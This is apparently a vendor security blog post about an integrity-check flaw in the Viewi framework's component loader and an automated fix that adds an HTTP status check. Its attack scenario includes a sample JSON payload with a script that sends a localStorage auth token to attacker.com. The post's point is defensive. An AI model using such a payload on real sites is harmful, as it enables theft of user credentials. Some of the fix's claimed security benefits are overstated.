Back to Blog
critical SEVERITY5 min read

How Unvalidated Dynamic Component Loading happens in TypeScript/Viewi and how to fix it

A critical vulnerability in Viewi's component loader allowed attackers to inject malicious JavaScript through compromised or MITM-attacked external component servers. The fix adds proper HTTP response validation before parsing dynamically fetched JSON components.

O
By Orbis AppSec
Published September 9, 2026Reviewed September 9, 2026

Answer Summary

Unvalidated Dynamic Component Loading (CWE-494) in TypeScript/Viewi allowed remote code execution through malicious JSON payloads injected via compromised `resources.componentsPath` endpoints. The vulnerability existed in `src/js/viewi/index.ts:40` where `fetch(resources.componentsPath).json()` executed without Subresource Integrity checks or response validation. The fix adds HTTP status code validation with `componentsResponse.ok` check and explicit error handling, ensuring only valid responses are parsed and preventing execution of attacker-controlled payloads.

Vulnerability at a Glance

cweCWE-494 (Download of Code Without Integrity Check)
fixAdded HTTP status validation and explicit error handling before JSON parsing
riskRemote Code Execution via malicious component payload injection
languageTypeScript
root causefetch() to external URL without response validation or integrity checks
vulnerabilityUnvalidated Dynamic Component Loading / Code Injection

Introduction

The src/js/viewi/index.ts file in the Viewi framework handles dynamic loading of UI components at runtime, but a flaw in the fetch(resources.componentsPath) call at line 40 created a critical security risk. When resources.combine is false, the application fetches component definitions from an external URL and immediately executes them—without any validation of where that code came from or whether it has been tampered with.

This isn't just a theoretical concern. Modern JavaScript frameworks increasingly rely on dynamic module loading, CDN-hosted components, and micro-frontend architectures. Each external dependency becomes a potential attack vector if the application blindly trusts and executes whatever it receives.

The Vulnerability Explained

The vulnerable code pattern was deceptively simple:

// src/js/viewi/index.ts:40 (BEFORE)
data = await (await fetch(resources.componentsPath)).json() as ComponentsJson;

This single line contains multiple security failures:

  1. No response status validation: The code never checks if the HTTP request succeeded
  2. No integrity verification: No comparison against known-good hashes (SRI)
  3. No signature validation: No cryptographic proof of the server's identity
  4. Immediate execution: The fetched JSON becomes part of the application's component registry without sanitization

How Attackers Exploit This

Consider this concrete attack scenario: A Viewi application uses a CDN to host its component definitions at https://cdn.example.com/components.json. An attacker can compromise this vulnerability through multiple paths:

Path 1: Server Compromise
The attacker gains access to cdn.example.com and replaces the legitimate components JSON with:

{
  "_routes": ["/malicious"],
  "malicious-component": {
    "template": "<script>fetch('https://attacker.com/steal?token='+localStorage.getItem('auth'))</script>"
  }
}

Path 2: Man-in-the-Middle (MITM)
Even with HTTPS, attackers who compromise certificate authorities or exploit BGP hijacking can intercept and modify the componentsPath response before it reaches the application.

Path 3: DNS Hijacking
If cdn.example.com's DNS is compromised, the application fetches components from an attacker-controlled server entirely.

Once the malicious payload is loaded, it executes with full application privileges—including access to localStorage, cookies, and the ability to make authenticated API requests on behalf of the user.

The Fix

The automated security fix transforms the vulnerable fetch pattern into a properly validated operation:

// src/js/viewi/index.ts:40 (AFTER)
const componentsResponse = await fetch(resources.componentsPath);
if (!componentsResponse.ok) {
    throw new Error(`Failed to load components: ${componentsResponse.status} ${componentsResponse.statusText}`);
}
data = await componentsResponse.json() as ComponentsJson;

What Changed and Why

Aspect Before After Security Benefit
Response handling Chained await with no intermediate variable Explicit componentsResponse variable Enables inspection before use
Status validation None componentsResponse.ok check Prevents parsing of error pages (4xx/5xx) as JSON
Error handling Silent failure potential Explicit Error throw with context Fails securely, aids debugging
Attack surface Accepts any HTTP response Rejects non-2xx responses Blocks injection via error page exploitation

This fix addresses the immediate vulnerability—preventing attackers from injecting payloads through error responses or server compromise that returns HTTP errors. However, this is a defense-in-depth improvement, not a complete solution. The ideal fix would also implement:

  • Subresource Integrity (SRI): Hash verification of the response body
  • Digital signatures: Cryptographic verification of the component source
  • Content Security Policy: Restricting execution of dynamically loaded scripts

Key Takeaways

  • Never execute network-fetched code without integrity verification: The resources.componentsPath fetch in src/js/viewi/index.ts:40 demonstrated how a single unvalidated network call becomes a remote code execution vector.

  • HTTP 200 OK is not sufficient validation: The fix adds componentsResponse.ok checking, but production systems need cryptographic integrity verification (SRI hashes or signatures) against known-good values.

  • Dynamic component loading requires defense in depth: Combine response status validation, body integrity checks, and CSP enforcement for external resources.

  • Error responses can be attack payloads: Without status validation, error pages (404 HTML, 500 stack traces) could be parsed as JSON and partially executed, leading to information disclosure or unexpected code paths.

  • The Viewi framework's combine: false mode is high-risk: Applications using dynamic component loading should treat resources.componentsPath as a critical security boundary requiring the same protections as script src attributes.

How Orbis AppSec Detected This

  • Source: External URL resources.componentsPath configured at application build time
  • Sink: JSON.parse() equivalent via .json() method on fetch Response at src/js/viewi/index.ts:40
  • Missing control: No HTTP status validation (.ok check), no Subresource Integrity hash verification, no response body signature validation
  • CWE: CWE-494: Download of Code Without Integrity Check
  • Fix: Added explicit HTTP response status validation with componentsResponse.ok check and descriptive error throwing before JSON parsing

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in src/js/viewi/index.ts illustrates a critical pattern in modern JavaScript applications: the convenience of dynamic, external component loading creates substantial security risks when implemented without integrity safeguards. While the immediate fix adds essential response validation, development teams using Viewi or similar frameworks should implement comprehensive Subresource Integrity checking and consider the trade-offs of runtime code fetching against supply chain security.

The automated fix demonstrates that security improvements need not disrupt functionality—adding three lines of validation preserves all legitimate behavior while closing a dangerous attack vector. As applications increasingly rely on distributed, dynamically loaded components, integrity verification must become as fundamental as HTTPS for external resource loading.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #53

Related Articles

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

medium

How XML External Entity (XXE) Injection happens in Python and how to fix it

A script that unpacks and parses XML from `.pptx`/`.docx`-style zip archives was importing Python's native `xml.dom.minidom`, a parser known to be vulnerable to XML External Entity (XXE) attacks. The fix swaps it for the drop-in `defusedxml.minidom` module, neutralizing the risk with a two-line import change and zero behavior changes for legitimate input.

high

How Denial of Service via Crafted ZIP File happens in Node.js and how to fix it

CVE-2026-39244 is a high-severity denial of service vulnerability in the adm-zip npm package that allows attackers to crash Node.js applications by uploading maliciously crafted ZIP files. The fix upgrades adm-zip from version 0.5.16 to 0.6.0, which adds proper memory bounds checking to prevent excessive allocation during archive extraction.

critical

How prototype pollution happens in JavaScript AST traversal and how to fix it

A critical prototype pollution primitive was fixed in `src/traverse/estraverse` where visitor-supplied child keys were merged with `Object.assign(Object.create(this.__keys), visitor.keys)`. Because `Object.assign` uses assignment semantics, a key literally named `__proto__` reached the `Object.prototype` setter and rewired the prototype chain of the traversal key map instead of being stored as data. The fix replaces the merge with an object spread (`{ ...VisitorKeys, ...visitor.keys }`), which *

critical

How SQL injection happens in Python DuckDB view creation and how to fix it

A critical SQL injection flaw in `python/src/idx/api.py:265` built five DuckDB `CREATE VIEW` statements with Python f-strings, interpolating a filesystem path directly into SQL text. The fix replaces the interpolated path with a bound parameter (`read_parquet(?)`) and moves the view names into a hardcoded, non-interpolated statement map — eliminating any path where filenames or directory values can alter SQL structure.

critical

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.